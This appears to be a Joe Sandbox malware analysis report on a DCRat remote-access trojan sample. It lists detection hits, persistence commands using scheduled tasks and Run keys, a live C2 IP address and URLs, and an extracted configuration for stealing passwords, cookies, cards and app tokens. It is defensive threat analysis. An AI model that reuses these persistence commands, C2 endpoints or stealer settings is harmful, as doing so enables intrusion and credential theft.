Process Memory Space: WerFault.exe PID: 7604	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: explorer.exe PID: 7664	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe PID: 7672	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe PID: 8000	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: explorer.exe PID: 616	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.0.savesbrokerDriverSavesbroker.exe.820000.0.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
5.0.savesbrokerDriverSavesbroker.exe.820000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.0.savesbrokerDriverSavesbroker.exe.820000.0.unpack	MALWARE_Win_DCRat	DCRat payload	ditekSHen	0x66bb0:$x1: px"><center>DCRat Keylogger 0x7b998:$x2: DCRat-Log# 0x64ca0:$x3: DCRat.Code 0x65f75:$v1: Plugin couldn't process this action! 0x65fbf:$v2: Unknown command! 0x66137:$v3: PLUGINCONFIGS 0x7b9d4:$v4: Saving log... 0x7b9f0:$v5: ~Work.log 0x64948:$v6: MicrophoneNum 0x64990:$v7: WebcamNum 0x662b5:$v8: %SystemDrive% - Slow 0x662df:$v9: %UsersFolder% - Fast 0x66309:$v10: %AppData% - Very Fast 0x66619:$v11: <span style="color: #F85C50;">[Up]</span> 0x6666d:$v11: <span style="color: #F85C50;">[Down]</span> 0x66777:$v11: <span style="color: #F85C50;">[Enter]</span> 0x667d1:$v11: <span style="color: #F85C50;">[ESC]</span> 0x66827:$v11: <span style="color: #F85C50;">[CTRL]</span> 0x6687f:$v11: <span style="color: #F85C50;">[Shift]</span> 0x66931:$v11: <span style="color: #F85C50;">[Win]</span> 0x66987:$v11: <span style="color: #F85C50;">[Tab]</span>
5.0.savesbrokerDriverSavesbroker.exe.820000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e269:$s8: Win32_ComputerSystem 0x7e368:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e405:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e51a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64e06:$cnc4: POST / HTTP/1.1

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, ProcessId: 7188, TargetFilename: C:\Users\Default User\WmiPrvSE.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: C:\Windows\regedit\explorer.exe, CommandLine: C:\Windows\regedit\explorer.exe, CommandLine|base64offset|contains: , Image: C:\Windows\regedit\explorer.exe, NewProcessName: C:\Windows\regedit\explorer.exe, OriginalFileName: C:\Windows\regedit\explorer.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1124, ProcessCommandLine: C:\Windows\regedit\explorer.exe, ProcessId: 7664, ProcessName: explorer.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, ProcessId: 7188, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HSZUYllrTVQhIRaXpKBgYbmVnCoTc

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\UNFOT5F1qt.exe, ProcessId: 1460, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f, CommandLine: schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, ParentProcessId: 7188, ParentProcessName: savesbrokerDriverSavesbroker.exe, ProcessCommandLine: schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f, ProcessId: 7408, ProcessName: schtasks.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Documents and Settings\Public\Pictures\RuntimeBroker.exe'" /rl HIGHEST /f, CommandLine: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Documents and Settings\Public\Pictures\RuntimeBroker.exe'" /rl HIGHEST /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, ParentProcessId: 7188, ParentProcessName: savesbrokerDriverSavesbroker.exe, ProcessCommandLine: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Documents and Settings\Public\Pictures\RuntimeBroker.exe'" /rl HIGHEST /f, ProcessId: 7576, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE DCRAT Activity (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T04:02:07.712551+0100	2034194	1	A Network Trojan was detected	192.168.2.9	49723	188.120.228.203	80	TCP
2024-11-27T04:02:17.428898+0100	2034194	1	A Network Trojan was detected	192.168.2.9	49746	188.120.228.203	80	TCP
2024-11-27T04:02:25.553488+0100	2034194	1	A Network Trojan was detected	192.168.2.9	49767	188.120.228.203	80	TCP
2024-11-27T04:02:33.366043+0100	2034194	1	A Network Trojan was detected	192.168.2.9	49785	188.120.228.203	80	TCP
2024-11-27T04:02:42.961482+0100	2034194	1	A Network Trojan was detected	192.168.2.9	49806	188.120.228.203	80	TCP
2024-11-27T04:02:51.179051+0100	2034194	1	A Network Trojan was detected	192.168.2.9	49827	188.120.228.203	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: UNFOT5F1qt.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx	Avira URL Cloud: Label: malware
Source: http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t	Avira URL Cloud: Label: malware
Source: http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI	Avira URL Cloud: Label: malware
Source: http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY	Avira URL Cloud: Label: malware
Source: http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?k1RxxsMic1WB03Lj3Jl0wy=eC69X&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&k1RxxsMic1WB03Lj3Jl0wy=eC69X	Avira URL Cloud: Label: malware
Source: http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Avira: detection malicious, Label: HEUR/AGEN.1309950
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Avira: detection malicious, Label: HEUR/AGEN.1309950
Source: C:\Users\Default\WmiPrvSE.exe	Avira: detection malicious, Label: HEUR/AGEN.1309950
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1309950
Source: C:\Users\Public\Pictures\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1309950
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Avira: detection malicious, Label: HEUR/AGEN.1309950
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Avira: detection malicious, Label: HEUR/AGEN.1309950
Source: C:\Windows\regedit\explorer.exe	Avira: detection malicious, Label: HEUR/AGEN.1309950

Found malware configuration

Source: explorer.exe.7664.18.memstrmin

Malware Configuration Extractor: DCRat {"H1": "http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/@==AbhNnclZXauVHdsVXYmVGZ", "H2": "http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/@==AbhNnclZXauVHdsVXYmVGZ", "TAG": "", "MUTEX": "DCR_MUTEX-9cHOEfz43eiRgQzXdpNO", "LDTM": false, "DBG": false, "BCS": 0, "AUR": 1, "ASCFG": {"ignorepartiallyemptydata": false, "cookies": true, "passwords": true, "forms": true, "cc": true, "history": false, "telegram": true, "steam": true, "discord": true, "filezilla": true, "screenshot": true, "clipboard": true, "sysinfo": true}, "AS": true, "ASO": true, "ASP": "%UsersFolder% - Fast", "AK": true, "AD": false}

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	ReversingLabs: Detection: 88%
Source: C:\ProgramData\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	ReversingLabs: Detection: 88%
Source: C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	ReversingLabs: Detection: 88%
Source: C:\Users\Default\WmiPrvSE.exe	ReversingLabs: Detection: 88%
Source: C:\Users\Public\Pictures\RuntimeBroker.exe	ReversingLabs: Detection: 88%
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	ReversingLabs: Detection: 88%
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	ReversingLabs: Detection: 88%
Source: C:\Windows\regedit\explorer.exe	ReversingLabs: Detection: 88%

Multi AV Scanner detection for submitted file

Source: UNFOT5F1qt.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Joe Sandbox ML: detected
Source: C:\Users\Default\WmiPrvSE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Joe Sandbox ML: detected
Source: C:\Users\Public\Pictures\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Joe Sandbox ML: detected
Source: C:\Windows\regedit\explorer.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: UNFOT5F1qt.exe

Joe Sandbox ML: detected

Source: UNFOT5F1qt.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\e7d19d53a5ec77aafa68c9a929149b118506bb42			Jump to behavior

Source: UNFOT5F1qt.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000B95000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\40\s\obj\Microsoft.VisualStudio.Threading\Release\net45\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER2082.tmp.dmp.6.dr
Source:	Binary string: E:\A\_work\40\s\obj\Microsoft.VisualStudio.Threading\Release\net45\Microsoft.VisualStudio.Threading.pdb2e source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000BC6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\40\s\obj\Microsoft.VisualStudio.Threading\Release\net45\Microsoft.VisualStudio.Threading.pdb1qt.PDB source: UNFOT5F1qt.exe, 00000000.00000002.1455288288.00000000008F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\exe\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000BE5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdbx source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER2082.tmp.dmp.6.dr
Source:	Binary string: RunPE_MemoryProtection.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HPOo`C:\Windows\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455288288.00000000008F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000B95000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.VisualStudio.Threading.pdbpdbing.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000B95000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: E:\A\_work\40\s\obj\Microsoft.VisualStudio.Threading\Release\net45\Microsoft.VisualStudio.Threading.pdbpdb source: UNFOT5F1qt.exe, 00000000.00000002.1455288288.00000000008F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: System.Core.pdbPSp source: WER2082.tmp.dmp.6.dr
Source:	Binary string: ?[oC:\Users\user\Desktop\Microsoft.VisualStudio.Threading.pdbJ source: UNFOT5F1qt.exe, 00000000.00000002.1455288288.00000000008F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: inaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: mscorlib.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: symbols\exe\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455288288.00000000008F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualStudio.Threading.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Users\user\Desktop\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdbs source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000B95000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdbS source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdb97` source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\40\s\obj\Microsoft.VisualStudio.Threading\Release\net45\Microsoft.VisualStudio.Threading.pdbXX@ source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\exe\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbLLt source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: @[o.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455288288.00000000008F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdbRSDS source: WER2082.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\symbols\exe\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Code function: 7_2_00406301 FindFirstFileW,FindClose,		7_2_00406301
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Code function: 7_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		7_2_00406CC7

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Code function: 4x nop then dec eax	5_2_00007FF887B2109D
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Code function: 4x nop then jmp 00007FF887B272C8h	5_2_00007FF887B26BD2
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Code function: 4x nop then jmp 00007FF887B27A8Fh	5_2_00007FF887B26BD2
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Code function: 4x nop then jmp 00007FF887B27A8Fh	5_2_00007FF887B26BE5
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Code function: 4x nop then jmp 00007FF887B27A8Fh	5_2_00007FF887B27560
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Code function: 4x nop then dec eax	17_2_00007FF887B3109D
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Code function: 4x nop then jmp 00007FF887B372C8h	17_2_00007FF887B36BE5
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Code function: 4x nop then jmp 00007FF887B37A8Fh	17_2_00007FF887B36BE5
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Code function: 4x nop then jmp 00007FF887B37A8Fh	17_2_00007FF887B37560
Source: C:\Windows\regedit\explorer.exe	Code function: 4x nop then dec eax	18_2_00007FF887B4109D
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Code function: 4x nop then dec eax	19_2_00007FF887B5109D
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Code function: 4x nop then dec eax	23_2_00007FF887B2109D
Source: C:\Windows\regedit\explorer.exe	Code function: 4x nop then dec eax	27_2_00007FF887C6109D

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.9:49746 -> 188.120.228.203:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.9:49723 -> 188.120.228.203:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.9:49785 -> 188.120.228.203:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.9:49767 -> 188.120.228.203:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.9:49827 -> 188.120.228.203:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.9:49806 -> 188.120.228.203:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\regedit\explorer.exe

Network Connect: 188.120.228.203 80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/@==AbhNnclZXauVHdsVXYmVGZ

Yara detected Generic Downloader

Source: Yara match	File source: 5.0.savesbrokerDriverSavesbroker.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Pictures\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\WmiPrvSE.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\regedit\explorer.exe, type: DROPPED

Source: Joe Sandbox View

ASN Name: THEFIRST-ASRU THEFIRST-ASRU

